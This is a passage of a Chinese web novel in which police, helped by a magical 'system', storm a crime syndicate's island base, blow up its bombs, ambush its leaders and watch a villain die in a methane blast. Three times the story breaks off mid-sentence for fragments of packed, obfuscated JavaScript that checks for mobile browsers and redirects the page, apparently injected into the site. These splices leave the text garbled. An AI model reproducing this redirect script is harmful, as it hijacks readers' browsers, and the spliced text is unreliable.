不少人都悄悄摸出手枪，躲到身边的保镖身后，小心戒备。 红狐也有点懵，虽然他是买了很多威力巨大的武器，但是他没有提前安装炸弹，他的武器和私兵还在海上呢…… 面对其他人的质疑，红狐立刻为自己开脱，即使是自己的锅也要先甩出去，更何况他真的是无辜的，“我也不知道啊，我又不住在这里！第一次听说基地有密道……如果岛上真的有密道，那老板肯定是最清楚的。” 罗坤脸皮抽了抽，欲言又止，他不太想暴露基地密道的秘密，但是事已至此，估计隐瞒不住。 果然，不远处有人大喊，“真的有密道！我看到暗门了！那条信息可能是真的！” 罗坤正色道：“岛上确实是有密道，不过是为了紧急关头避难逃生用的……韩高煊不是你的人吗？还偷偷带了炸弹上岛？他在哪里？红狐你们想做什么？” 一把手二把手互相甩锅扯皮，都想把问题摁在对方身上。 一众老狐狸也跟着添油加醋，声援自己的阵营。 鲨鱼也想坐实罗坤、红狐的罪名，争取中立墙头草的支持。 一群人都不着急跑路了。 炸弹都炸完了，现在这些老狐狸都不敢坐罗坤的私人飞机了，还不如先把XX拉下台，等待手下开船过来…… …… 群发信息里面提及到的重点人物，韩高煊，似乎在小岛里面消失了。 事实上，他中枪了，被关在码头一个房间里。 几十分钟之前，他给所有定时炸弹配置完新的遥控，准备假借着去迎接罗坤子女的船（去帮红狐接应他的□□私船）的名义，开船离开蓬莱岛，然后在合适的位置等待人齐，启动炸弹，炸死岛上的人。 他之前通过一些小花招，哄得罗婷、洪灵（罗坤、红狐女儿）和一些组织高层团团转，得到了罗坤、红狐等人的信任。 但是无间道并不好当，走钢丝一样的生活，实在是太累了。 他平时都尽量避免和罗婷、洪灵等人同时出现在某处，减少露馅的机会。 可是罗坤召开生日宴会，难以避免和这些人共处一室。 而且，从罗婷、罗坤之前的只言片语，他隐约感觉到，他们想要公开他和罗婷正在交往的消息。 罗婷很强势，现在很迷恋他，想要罗坤重用他。 罗坤对罗婷有愧，总是尽量满足她的要求。罗坤私底下考验过他几回，很看好他，想要把他挖过去，培养未来女婿，给小儿子当辅助，而且这样还可以下红狐的面子，显得红狐留不住人才…… 但是红狐、洪灵那边也不是吃素的。 当他打听到罗坤、红狐等人的计划，他马上就想出一个一劳永逸的方法，把KL组织解决掉，自己逃出去，拿着罗坤、红狐的小金库，自己出来单干。 这样既避免了露馅，又能获取更多的金钱和权力。 至于没被炸死的其他人，他都想好了话术对策。即使有人怀疑，到时候死无对证，他拿到了钱和组织的势力，有大把的方法，去解决有异议的人。 本来一切都很顺利，他和罗坤、红狐报备完，到码头联络了之前安排好的两个忠心的手下，等他们开船过来。 等待期间，他看到几个可疑的人，在码头偷偷摸摸的，好像在藏什么东西。 因为不想节外生枝，影响计划，他没有立刻把消息汇报给罗坤、红狐，反而选择叫上自己的两名手下，带上安装了消声器的手枪，偷偷跟过去，看看是怎么一回事。 如果那些人做的事不影响他的计划，他就不管了，继续进行他的行动。 他们三人远远地跟在那些人后面，差不多二十米的距离，中间还隔着很多障碍物，他自信不会被对方发现。 那些人偷偷地停船的地方，藏了一些类似炸弹的东西。 他莫名地觉得有点眼熟，心里升起一阵不安。 他想再靠近一点查看，没想到一下子就被发现了。 对面的人反应很迅速，一下子就射中了他的一个手下。 他们迅速地回应了一梭子弹，借着掩体的优势，击倒了对面的两人。 双方猛烈交火，但是两边都使用安装了消声器，海浪声消除了沉闷的枪声，没有引来巡逻队的注意。 当他以为自己占据了优势，想要继续解决对面的几个人的时候，有两个人偷偷绕到了他们的后方，近距离射中了他们。 他和另一个手下都中枪倒下了，武器也很快被收缴了，无力回击。 枪被人收走之后，他在恍惚之间，看到旁边的一个女人，脸上闪过一丝懊悔可惜…… 那群人把他们三人五花大绑，堵住嘴巴，关在码头一个闲置的屋子里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15073344|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那些人临走之前，那个女人还用电棒，把他们三个伤者都电晕了。 韩高煊陷入了昏迷。 迷迷糊糊之间，他做了一个很长的梦。 他梦见自己，从青木帮的小喽喽，变成青木帮的头目。后来他完成了几个金额巨大的骗局，得到红狐的赏识，被引进KL组织。地位一路快速飞升，挤掉鲨鱼成为组织的三把手。再后来通过生日宴设局，除掉KL组织的高层，拿到巨额资金，自己成立了新的组织，黑白通吃…… 他忽然发现，那个临走还要电晕他们的女人好像有点眼熟，有点像梦里，一个被他杀死的被拐卖的少女…… 他恍惚有种感觉，梦里发生的一切，才是他应该经历的。他是受到命运眷顾的天选之人，不应该有现在这么多的失败，不应该被发现，不应该被通缉，不应该…… …… 程昭他们解决了网络和监控问题，找到了密道和炸弹。因为怀疑韩高煊想要提早引爆炸弹，大家决定不再慢慢等待几方势力互相消耗力量，决定主动出击。 之前，因为刑事三队对于蓬莱岛的推测，没有得到专案组的支持，虽然请到了王锐海军部队来帮忙，但是他们的人数和武力，与组织几方势力比起来，并不具有绝对优势。所以他们一开始才打算，让组织几方势力互相消耗，然后警方再出手。 但是现在情况已经不一样了。 鲨鱼的海盗佣兵已经被打没了；罗坤的一部分海上武力，也相继折在了海盗、海军的手里；红狐的□□船队还没有到岸；罗坤的炸弹密道被他们知悉……组织的力量已经减弱了。 而且，李怀之前偷过岛上的建筑图、巡逻布防等资料，周立言通过一些小手段，得到了李怀藏起来的备份。 再加上基地的网络和监控……胜利的天平已经倾向于他们。 周立言、王锐这边继续安排了更多的人，通过斥候上岸的路线，潜入小岛，和岛上的先行队伍汇合。 同时，船队在周围巡逻，拦截红狐的□□船队。 岛上的斥候小队跟随程昭、侯远山，进入密道。 拆弹专家鲁维查看了罗坤的炸弹，确定了这些炸弹可以搬运移动，然后还给定时器绑定了第三个遥控器。 先行队伍的所有人，利用密道、车库里面的豪车和偷来的巡逻制服，把炸弹一一转移到基地的重要地点和码头的船上。 …… 罗坤准备的炸弹真的很多，地下密道连接着整个基地，隔一段距离就有一堆炸弹。 程昭他们花了很多功夫和时间，才找出了尽量多的炸弹，配置遥控器，然后转移安放。 在码头安装炸弹的时候，为了加快速度，避免碰上换班的巡逻队，大家分头行事，没想到被韩高煊发现了，展开了一场枪战。 所幸程昭和侯远山从后方夹击，救援及时，战斗很快结束，没有引来其他人的注意。 受伤的斥候小队队员何德忠、李百泉，得到了程昭的神奇膏药，肩部、手臂快速止血，没有太影响行动。 韩高煊这三个人都不是什么好人，大家都懒得给他们处理伤口，把他们三人绑住，关在了码头小屋。 程昭甚至有点后悔，刚刚偷袭的时候，她应该直接射头的……不过韩高煊腹部中枪，又被绑住手脚，没有及时止血的话，估计也会很快死掉…… 时间紧迫，他们安装完码头炸弹，就迅速离开，前往下一个地点。 …… 当收到周立言船队成功拦截红狐□□、组织剩余高层的船队的消息，先行队伍也和后来上岛的伙伴成功汇合。 时机成熟，他们按下的遥控器，直接引爆了炸弹。 “轰”、“轰”、“轰”的一阵巨响，组织的多处关键地点被炸毁，化作一片片废墟。 111. 组织败退 一连串的爆炸，基地一片大乱。 组织的人一开始以为是敌袭，惊慌失措地四处逃跑躲避，但是过了几分钟，好像除了爆炸，没有什么其他事情发生。 爆炸炸毁了好几次重点保护的房子，军火库更是发生了连锁的爆炸，把附近的房屋都炸开了，其中包括老板、管家、高层的别墅。 罗坤等主要人物的常住别墅，修建得特别牢固，但是在强烈冲击之下，靠近爆炸中心的墙还是倒了。 罗坤的别墅保险库刚好被炸开，露出里面价值连城的宝物，文件纸张、各国钞票随着狂风飞起，在空中四处飘散。 基地的人虽然惧怕老板惩罚的手段，但是这个场面太诱人了，冲上去随便一捞就是一把钞票，保险库里面还放着金子宝石和古董…… 人为财死鸟为食亡，周围的人你看看我我看看你，形成了某种默契。 不知道是谁率先大喊，“快来帮忙收拾啊，爆炸那边的火要烧过来了！” 现场的人仿佛被下了指令，一窝蜂地冲了过去，身体力行地守护组织的财产。 “对啊，快来抢救组织财产啊！” “大火等下就要烧过来了，能抢、抢救一点是一点啊！” “快来帮忙，快来帮忙啊，哈哈哈！” “等下这里可能也会烧起来，晚了就、烧没了啊！大家快点来啊！” “对对对，大家快点帮忙！” 大家嘴上说着冠冕堂皇的理由，脸上却挂着贪婪的狞笑，眼里发着光。 近处的人先拔头筹，远处的人陆续涌来。 大家的动作飞快，一把一把地抓值钱的东西，塞到自己的口袋里。 甚至有人脱下了衣服，拿衣服当做包袱皮，大把地兜住钞票、古董。 其他人受到启发，纷纷在别墅里面找合适的东西，充当口袋。 附近的人听到信息也跑了过来捡漏。 东西不够分，大家便打起旁边那些屋子的主意。 住老板附近的，不是高层就是老板亲信，每一个都富到流油。而且他们的屋子也被炸坏了一些，等下火烧过来了，损坏就更严重了…… 过来“帮忙”捡东西的人那么多，罪不责众，问责的时候交出一点就可以交差了。 谁说得清这些东西是他们抢的，还是被大火烧没的？ 即使大火没那么快烧过来，他们也可以帮忙添一点火。 最重要的是，炸基地这么大的事，高层们估计要乱起来了，谁会管丢钱这种小事情？ …… 组织的人都顾着抢值钱的东西，谁都没有留意到，他们之间混进了几个陌生人。 程昭他们几个本来是开着车四处偷偷点火，让基地更加混乱的。 经过这里的时候，发现这里的人在疯抢财物。 不过这些人只抢值钱的东西，没有人留意罗坤书房的文件。 这些文件在组织普通员工的眼里如同废纸，但是在程昭他们眼里，就完全不一样了。 趁着混乱，他们仗着自己身上穿着巡逻队制服，混了进去，胡乱捡走了一些文件、U盘，最后还拿了一台笔记本电脑。 捡到就是赚到，他们也不贪多，拿到一点就走。 幸好他们离开得及时，他们上车没多久，正牌的巡逻队就从远处跑来了。 捡东西的人也留意到远处的巡逻队，连忙四散跑开，有的人还没忘记给屋子里丢点火种，把浑水再搅乱一点。 “你疯啦？被巡逻队或者监控看到就麻烦了……” “怕什么，停电了，监控拍不到我们。就那一点点火，这里越乱越好，你看巡逻队是急着灭火，还是跟着捡东西？” 跑开的人回头一看，巡逻队把普通成员赶走之后，自己也捞了几样东西，等火烧了一会之后，才打开消防栓灭火。 …… 在别墅区偷捡的资料，交给两名受伤的斥候小队队员保管。 虽然他们用程昭的药膏止血了，但是伤口依然存在，行动不便，他们干脆先找个偏僻的地方躲起来。 岛上的警方人数已经增加到30人。除去两名伤者、两名带着设备不方便移动的技术员、两名留下来掩护他们的战斗成员，24名队员分成六个四人小组，开着偷来的车，到处制造混乱，解决落单的敌人。 行动时，程昭看到很多人还可以打电话发消息，岛内的电话信号似乎没有怎么受到爆炸的影响。 她有点担心，组织会不会很快找来外援。 现在周立言、王锐他们的船很快就要到了，但是拿下基地、抓捕犯人还需要时间。 不如……再给组织添点乱。 程昭在频道里面建议，“不如我们向基地的人，群发一条关于炸弹密道的信息，扰乱他们军心？” 大家快速评估了一下，认为可行。 于是，一条暗示明示着，炸弹密道和罗坤、红狐、韩高煊等人有关的信息，通过基地网络，迅速发散到整个小岛。 …… 许多人看到信息，惊疑不定。 基地的人都知道老板身体不好，很多人都见过红狐、鲨鱼拉拢其他高层。 高层在分裂阵营，所有人都心知肚明。 今天生日宴，把所有高层邀请过来，确实是一个一网打尽的好机会。 高层的计划，他们这些底层员工不了解，但是他们已经看到了爆炸。那信息说的地道是真的吗？ 好几处爆炸点，稍微遏制火势之后，周围的人的都隐隐看到了隐藏多年的地下通道。 “真的有密道！” “这信息谁发的？居然是真的！放炸弹的人想要杀死我们所有人？！” “放炸弹的，难道是照片这个人？码头的船也被炸了！” “这个人好像是红狐的手下，灰狼……” “啊？可是我之前看到，他和大小姐在一起……” 基地众人议论纷纷，心里都警惕起来。 基地是孤岛，岛上都是组织建的，密道肯定也是。 这么多的炸弹，需要通过码头的重重检查，运送到地下密道。 信息是不是真的，大家心里已经有了答案。 组织成员之间，本来就是利益关系，怀疑的种子一旦种下，脆弱的信任立刻就被分崩离析。 所有人心生退意，组织都不把他们的命当命了，等下还不知道会发生什么，不如早点离开。 基地成员陆续涌向码头，想要抢船离开。 …… 码头的船很多都被炸了，不过还有一部分小船破损不太严重，可以继续出海。 但是可用的船明显不够，太多人想要离开，比较完好的船快速挤满了人。 上了船的人连忙催着开船，免得超载沉船。 还没有挤上船的人自然不乐意，想方设法地挤上船。 争执之间，有人发现了正在靠近的十几艘大船和数不清的小船快艇。 有人认出了里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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组织高层听说了警方已经来到，立刻停下了内部争斗，快速前往罗坤的私人飞机场。 程昭所在的四人小组刚好路过，看到几辆载了不少人的观光车呼啸而过。 其他人本来没有想过追上去，因为他们不知道那群人的身份，再加上那群人人数不少，他们四个人没有什么胜算。 程昭看到系统提示，发现罗坤、红狐、鲨鱼等高层都在车上，连忙催促队友开车跟上去。 “……我看到罗坤红狐了，那群人可能都是高层和他们的保镖。” “什么，那我们快追！” 和程昭一组的，分别是侯远山、杜长宇、袁思文。斥候小队已经见识过程昭的能力，自然不会怀疑她有没有看错。 他们的车不远不近地跟在后面，实时在频道里面汇报情况。 程昭看着观光车前往的方向，研究了一下基地的地图，那边没有河流，不靠海，“他们好像是去训练场的方向。不组织反抗，应该是想先逃走……难道基地里面有飞机之类的交通工具？” 训练场有大片的空地，确实可以用作停机坪和跑道。 其他的四人小组也尽量往训练场方向赶过来。 大部队那边，周立言他们也担心高层成员逃脱成功，所有人全力进攻。 112. 埋伏和报复 听到程昭的推测，大家觉得可能性很高，但是决战的关键时刻，一点点错误也可能造成巨大的影响，所以必须想办法小心求证。 两个制造混乱的四人小队位置离训练场旁边的空地比较近，他们率先去到那里，确定是不是真的准备了飞机。 “真被你猜对了，训练场旁边有个停机坪，还有一架小型飞机。” “这个飞机目测可以带三四十人离开。” “这里大概有12个看守，看到3支冲锋枪，5支步枪，其余人拿着手枪，不排除还有更多大杀伤力武器。” 大家在频道里面迅速说了一下情况，讨论对策。 王锐：“想办法破坏飞机。” 只要飞机坏了，罗坤他们就跑不掉了，可以瓮中捉鳖。 周立言：“其他人想办法拖住罗坤他们，别让他们太快到飞机场。” 高层和保镖坐了四辆观光车，可见人数不少，再加上飞机场的武装力量。如果罗坤他们和飞机场的人汇合了，先行部队就没有什么优势了，等大部队赶到，飞机都飞远了。 孙萍：“你们注意安全，以游击战为主，大部队已经打到基地中区，我们已经派人过去支援你们了。” 组织路边的交通工具，不是被人破坏了，就是被人开着到处逃跑了。大部队深入基地的建筑群，需要走比较远的路，才可以到达训练场。 ………… 此时，罗坤他们的车已经接近后厨仓库的区域。 再往前就是养狗的小树林，再过一点就是训练场。 开车去停飞机的空地，需要先穿过训练场，因为与空地相邻的的地方都是茂密的树林，没有修建平整的马路。 路上可以偷袭的地方不多。只有后厨仓库区域、训练场区域有比较多的房屋，可以掩蔽行踪。 程昭他们在频道里面商量了一下，决定凭借小车的速度优势，超过观光车，然后在必经之路制造一点小陷阱，拖延时间。 …… 程昭他们研究过基地地图，从后厨仓库区域前往训练场，有一段必经之路。 必经之路里面有一段路是单车道，不能并行，也难以调头。 程昭和侯远山对这条路有印象，因为他们之前就走过这条路。 袁思文一路飙车，把程昭、侯远山送到那条路附近，留下他们准备陷阱。 然后袁思文和和杜长宇观光车可能会经过的地方堆放了一些就地取材的障碍物，例如倾倒的垃圾桶、送餐推车、纸皮箱之类，减慢观光车的前进速度。 程昭和侯远山跑到仓库边缘，拿到了之前路过看到的废旧铁网。 （拿铁网的时候，还发生了一个小插曲。 小树林里的狗群不知何时挣脱了束缚，游荡在小树林和训练场附近。 程昭之前听到巡逻员的对话，知道狗群被恶意虐待，就捡了一些烤鸡腿带在身上。 这些鸡腿在捡铁网的时候派上了用场，狗群愉快地跑到远处用餐，没有尝试攻击他们，也没有狂吠。） 程昭他们把铁网，和一堆的枯枝、重物，放在那条小路的尽头。 然后程昭用一根很长的电线，连接着铁网，在远处埋伏。 杜长宇找了个高处埋伏，方便观察和狙击。 侯远山在路的另一边埋伏。 袁思文留在车上，随时准备开车援助。 程昭他们布置好没多久，杜长宇就看到，罗坤他们的车按照预想的路线来了。 大家收到提示，不由得屏住呼吸，等待时机。 看着路口的一堆垃圾杂物，观光车的人虽然不耐，但是也没有觉得奇怪。 基地爆炸之后，四处都是乱糟糟的，他们在前面也试过清理障碍物。 几个保镖下车清理，几个保镖在车子周围戒备。 铁网缠绕着杂物，重量不小，三个保镖一起搬开。 铁网一被抬起，电线也跟着微微晃动。 程昭看准时机，打开了强力电棍，持续给铁网通电。 三个保镖被串起来电了个通透，身体僵直，不停地颤动。 “你们怎么了？”后面的保镖伸手，想要拍其中一个人的肩膀。 红狐率先反应过来，连忙开口制止，“别碰！” 可惜已经晚了，手已经搭上了前面的人的肩膀。 四个人连在一起，僵硬地颤抖，好像开了某种视觉特效。 四个保镖的战斗力，就这样被消除了。 所有人的注意力被前方吸引，埋伏在小路后面的侯远山悄悄滚了几个手榴弹到观光车底下。 附近楼上的杜长宇也瞄准了巷子里的人，迅速扣动扳机。 三个人中弹，巷子里的人惊呼，“狙击手。” “车底有手榴弹！” “快开车！” 司机猛踩油门，顶开了前方的障碍物。 可惜时间不够，只有走在最前面的第一辆车勉强逃离了手榴弹的攻击范围，后面几辆车全军覆没。 罗坤、红狐、鲨鱼都坐在第一辆观光车上，惊魂未定地回头张望。巷子里面冒着浓烟和火光，有几个人勉力爬了出来。 司机和保镖不安地询问，要不要回去救人。 “赶紧离开这里，上面有狙击手，警方已经来到了。” 三人的态度非常一致，十分强硬。 司机无奈，只好加速前进。 …… 现在车上只剩下司机、助理、罗坤、红狐、鲨鱼、三个保镖。 程昭等人在罗坤他们冲开铁网之后，就快速跑回车上。 因为杜长宇、侯远山比较远，路上耗费了一点时间。他们开车的时候，观光车已经不见踪影了。 不过罗坤他们的目的地只有一个。袁思文迅速开车，努力追上去。 …… 观光车以最快速度行驶，开着开着，司机发现了不对劲，“车子怎么突然没油了？” 坐在最后的保镖转身一看，“不好了，车子漏油了，好像是被碎片扎穿了油管……” 观光车的速度逐渐慢下来，差不多到了训练场的时候，几乎跑不动了。 罗坤一行人只好放弃车子，改成步行。 训练场到飞机场，开车走大路，两三分钟就到了。 不过步行可以走小路，可以缩短一点路程，大概需要15分钟，如果走得快，时间还可以更短一点。 可是罗坤年老身体有病，红狐之前中枪，身体变虚了。两个人都跑不快，快速步行都未必可以做到。 一行人快步走了一段路，罗坤就有点吃不消了，他的助理主动背着他走。 训练场里面转过一个拐角，他们面前突然出现一群大狗。 它们目露凶光，龇着牙，恶狠狠地盯着罗坤一群人，仿佛看着仇人。 罗坤一行人不明白，那些树林里拴着的狗，为什么会出现在这里。 保镖掏出手枪射击，想要吓跑它们。 但是大狗们丝毫不惧，反而一下子扑了上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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程昭他们汇报完，没多久，飞机场这边的两个四人小队也汇报了最新的进展。 之前他们勘测地形，发现空地的地势较高。小飞机停放的地方，周围有屋子遮挡。 如果使用狙击枪远程破坏飞机，难度较大，而且需要去山上寻找合适的方位，不能短时间内快速破坏飞机。所以他们一直在想办法靠近飞机场。 后来他们通过声东击西等战术，一部分人吸引了保镖们的注意力，一小部分人潜入靠近，最后成功破坏了小飞机的动力装置。 他们得手之后快速逃离现场，差点被敌人抓住。经过一番恶战，才解决了看守。 这番战斗，他们重创、击毙了14个敌人，令他们都失去了继续战斗的能力。 他们在总频道快速说了这边的情况，“……我们这边有6个人受伤比较严重，所以我们先带他们回去治疗。组织首脑的事就交给你们了。” …… 另外两个四人小队比程昭他们先一步赶到训练场，直接进去寻找罗坤他们的踪迹。 他们在路上发现了罗坤他们遗弃的车子，还有被咬死、咬伤的司机、助理。 “……我们来到的时候，看到几只大狗在罗坤助理的附近走动，好像在吓唬这个男的。这个男的好像有点被吓疯了，一直在和狗道歉，说自己不应该虐待狗，不应该吃他们的同伴。” 那些狗看到警方的人就跑开了，没有攻击警方成员，所以他们也没有攻击狗群。 “助理被我们绑起来了，留在原地。 “我们前往空地的时候，发现了鲨鱼和两名保镖的尸体，他们身上都有枪伤，罗坤、红狐和另一个保镖不知所踪。 “现场看起来，像是起了内讧。尸体还是热的，事情应该没发生多久。” 113. 命运（正文完） 在另外两个四人小队汇报训练场情况的时候，程昭他们在路上遇到解决了飞机场的两个四人小队。 他们几乎全员负伤，赶着去找医生救治。 程昭连忙拿出一叠强力止血贴，让他们先止血。 系统出品的医疗道具十分有效，重伤员的血一下子就被止住了，呼吸脉搏都变平稳了。 伤势较轻的两个队友舍不得浪费药膏，“我们的伤不算很重，等下直接让医生处理伤口就可以了。这个药还是留给重伤的人用吧，大部队那边估计也有人受了重伤。” 程昭想了想，确实如此，大部队受伤的人肯定不少。不过她身上的止血贴已经全部拿出来了，只剩下三瓶解毒剂。 她把三瓶解毒剂一并递给他们，“这是解毒剂，你们一起拿走吧。组织有制药基地，说不定有什么武器是有毒的。” 两人谢过，然后继续护送同伴去和大部队汇合。 程昭他们则是继续前往训练场，帮忙找下落不明的罗坤、红狐。 …… 程昭的四人小队和另外两队汇合，稍微交换了一下情报。 另外两队人来到这里的时候，鲨鱼等人的尸体血液还没有凝固，说明罗坤他们才刚刚离开。 罗坤他们没有代步工具，红狐和保镖带着一个老病人，不可能走得很快，他们很可能还藏在训练场或者飞机场里面。 于是，程昭他们十二个人分成六个两人小组，对训练场和旁边的空地，进行地毯式搜索。 程昭和侯远山分成一组，搜查训练场的北侧。 大家搜索了十几二十分钟，完全没有发现罗坤他们的踪影。 不过他们也不是完全没有收获。他们发现了2名诈死逃跑的飞机场看守，抓住了漏网之鱼。 押送完犯人，程昭回到鲨鱼等人的尸体附近，一边检查几具尸体周围的痕迹，一边查看系统的提示，推测罗坤他们可能去了哪里。 四处张望，程昭看到了一个洗手间，忽然想起，之前她和侯远山进入密道，从训练场更衣室的暗门回到地面。 难道罗坤带着红狐，进入密道了？ 程昭叫上侯远山，一起去检查有暗门的更衣室。 更衣室已经被人检查过了，里面没有人，不过里面有一堆凌乱的脚印，几个带着擦伤血丝的掌印，还少了一把拐杖。 这些痕迹都被系统标记了，提示红狐、罗坤等人来过这里，拿了拐杖，通过暗门，从密道里面逃跑了。 程昭扣动机关想要打开暗门，发现暗门被人从里面锁上了，在外面无法打开。 两人无奈，只好上报这个情况。 在频道里面，周立言他们听到罗坤等人进了密道，居然笑出了声。 程昭挠头：“呃，发生了什么我不知道的吗？” 周立言清了清嗓子，笑着说：“我们也是刚刚才收到情报的。之前一连串的爆炸影响了基地的排污系统，地下的几处排污管裂开了，一些区域的地道已经被粪水淹没了…… “你们离开训练场的时候，记得找东西堵住出口，我们只留几个出口，守株待兔。反正他们已经没有离开的交通工具了，我们可以慢慢来。” ………… 其实他们不是没有离开的交通工具，罗坤还藏了一艘快艇。 正所谓狡兔三窟，罗坤在蓬莱岛常住，自然也给自己留了很多后路。 其中就包括了与密道连通的地下溶洞，罗坤在里面藏了一艘快艇和一些武器。 刚刚他们在训练场，看到了开车离开的警方人员。 罗坤见势不对，打了几通电话，最后他们不得不接受一个事实——飞机被破坏了。 飞机没了，警察很快就要追上来，训练场不能久留。 撤离的时候，他们起了内讧。争执之间，罗坤、鲨鱼受了一点伤，他们的保镖都被打中要害。 红狐不想耗费功夫去调解矛盾，更不想带着两个老弱病残一起逃亡。他打算把两人都灭口，以免他们被警方的人捉住，暴露自己的行踪。 罗坤以自己熟知地下密道，和溶洞藏着的快艇作为交易条件，让红狐答应带着他离开。 红狐答应了交易，干脆利落地杀死了鲨鱼，然后一行人逃进密道。 一开始他们走得很顺利，密道里面几乎没有人。偶尔遇到一两个因为地陷掉下来的人，红狐不想招惹麻烦，无论敌我，一律杀掉。 后来，他们渐渐闻到一股臭味，味道越来越浓郁，地面也开始有了浑浊的积水，他们才意识到，排污管的粪水流到密道里了。 为了避开警方的搜索，他们忍住恶心，硬着头皮蹚着粪水。 但是令他们绝望的是，好几处地道，因为爆炸坍塌了，而且粪水的水位逐渐上升，不能继续呆在地道里了。 没想到，想要出地道也不容易，好多地方的暗门都被封住了。 他们这时也明白，他们是落入警方的陷阱了，但是他们闻了太久的沼气，已经开始头晕、头疼，有点中毒反应了。 当找到可以打开的出口，他们已经没了半条命，完全没有余力做反抗了。 被抓就被抓吧，总好过死在粪水里面…… ………… 程昭他们离开训练场，就去和周立言所在的大部队汇合。 看到毫发无损的心上人，一直忧心忡忡的周立言，终于松开了皱了很久的眉头，松了一口气。 周立言忍不住用力抱了一下程昭，然后很快又松开。两人对视一笑，悄悄握住对方的手。 基地里面大部分的人都已经落网了，大家发散人手，四处巡逻，抓捕散兵游勇。 过了一段时间，逃进地道的罗坤三人，终于冒头被抓。这三个人被沼气熏掉了大半条命，全靠强大的意志力，才坚持到了地面。 ………… 不过程昭一直有点不安，感觉自己忘记了什么重要的事。 她一边和周立言一起到处巡逻捉人，一边努力回想。 当看到被拘捕的红狐，她终于回想起来了——韩高煊！ 那个龙傲天男主，被她射伤电晕，关在码头附近的小屋了！ 按照龙傲天小说的设定，主角光环十分逆天，运气值爆棚。 虽然他当时已经只剩下一口气，但是没有看到他的尸体，程昭始终有点不安心。 程昭把自己的担忧告诉了周立言，周立言虽然有点不解，但是也全力配合程昭。 他们拜托在码头附近的队友帮忙搜索，看看能不能找到关着韩高煊三人的小屋。 码头的人很快就返回了结果，小屋被炮火轰掉了一部分，里面有韩高煊两个手下的尸体，还有几段被割开的绳子，但是没有看到韩高煊。 韩高煊也是警方重点关注的组织成员，大家都看过他的照片。 周立言在频道里面询问了所有人，但是大家都没有看到过韩高煊。 “这个人到底去了哪里？总不能凭空消失吧？” ………… 韩高煊确实没有凭空消失。 在警方攻打码头的时候，他从那个很长很真实的梦里清醒过来。 他对比了梦里和现实，发现一切的变化都是从他开车撞死青木帮的小头目那件事开始的。 梦里，他撞人逃逸之后，没有人发现是他动的手，他平稳地在青木帮发展，获取了资金和人脉。而且，那次他还撞死了一个目击了经过的女交警，但是在现实里，那个女交警没事，还连累他被通缉了。 韩高煊仔细回想，突然发现，梦里那个女交警讣告上面的照片，和那个电晕他的女人十分相似。 不会吧，电晕他的人应该是个警察…… 但是，万一真的是她呢？ 韩高煊有一种预感，只要杀死那个女警，一切都会拨乱反正，他又会继续得到逆天的运气…… 思忖之间，屋子被炮弹波及，塌了一面墙。 刚好有两个认识的成员经过，韩高煊叫住了他们。 他以溶洞的快艇作为交易条件，得到组织成员的帮助，成功解绑。 韩高煊腹部有枪伤，但是子弹没有留在体内，内脏好像没有受伤。他用烧红的刀片，强行给伤口止血。 然后三人趁着警方还没有攻下码头，提前逃到了基地里面。 但是进入基地后，因为那条群发信息，组织的人怀疑是他引发基地爆炸。 争执之间，他的遥控器被人发现了，周围的人想杀他报仇。 跟着他的两名组织成员，被他拉着挡枪，两下就死了，他一个人躲进了密道里。 他本来想先去拿到快艇离开小岛，但是因为部分密道坍塌，他迷路了。 后来密道里面还进了粪水，许多暗门都被人在外面堵住了，他发现了门外的警方，只能继续四处游荡，寻找出路。 地道里面味道越来越难闻，他被熏得头晕脑胀，只好时不时地爬上墙，找换气孔呼吸新鲜空气。 外面已经天黑了，外面的警察开了灯，换气孔透出微弱的光。他感觉，他被困在地道里面太久，有点坚持不住了。 再一次，他踩着尸体爬上墙壁，凑到换气孔呼吸透气，无意之间听到了警察在附近说话，隐隐约约还听到了那个女警的声音。 韩高煊隐隐作痛的脑子，突然一个激灵，变得清醒了。 杀了她！杀了她！心里有个声音一直在催促他。 韩高煊兴奋得瞳孔都放大了，他吃力地蹬着用来垫脚的尸体，透过窄小的缝隙，观察外面的情景。 是她！ 韩高煊狞笑，激动地盯着外面的女警，缓缓地举起手里的枪。 ………… 外面的人正在讨论韩高煊。 大家四处搜捕，但是都没有发现韩高煊的踪迹。 “真的是打不死的 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连通的地道都被点燃了，地道上方的地面被炸开了几处，好几处房屋都发生了地陷 “我的天……” “沼气爆炸……” ………… 程昭被周立言严严实实地压在地上，躲过了暗枪和爆炸掀起的气浪。 “你没事吧？”两人同时开口。 “我没事，你呢？有没有中枪？”程昭被压住，心急地胡乱摸索，她摸到一点湿湿的温热的液体，她的心一下子被提了起来。 “你背上是湿的，你中枪流血了？”程昭急得哭腔都出来了，“你快起来，我看看。” 周立言起身，“我没有受伤啊，没感觉到有伤口……”他一边说，一边反手摸自己的背部，突然一脸震惊，整个人僵住了。 程昭更着急了，“还说没受伤，我……”她突然想起，系统抽奖的止血贴都用完了。 她担心抽奖会抽不到止血贴，正准备叫系统小五用剩余的积分，直接兑换一个医疗道具。周立言一言难尽，把摸到的东西，递给程昭看。 程昭呆住了，“……这是？” 周立言咬牙切齿，“没错，是地道的粪水污泥……” 周立言感觉自己的洁癖要大爆发了，他生气得想要生撕了那个点燃地道的始作俑者。 不过那个始作俑者，估计已经被炸死了。 ………… 周立言飞速寻找淋浴间，冲掉了身上的污泥，换了一套衣服。 程昭留在原地，帮忙清理一塌糊涂的爆炸现场。 枪手被压在倒塌的屋子底下，已经没气了，被炸断了一只手，一身都是烧伤的痕迹，被石头压得不似人形。 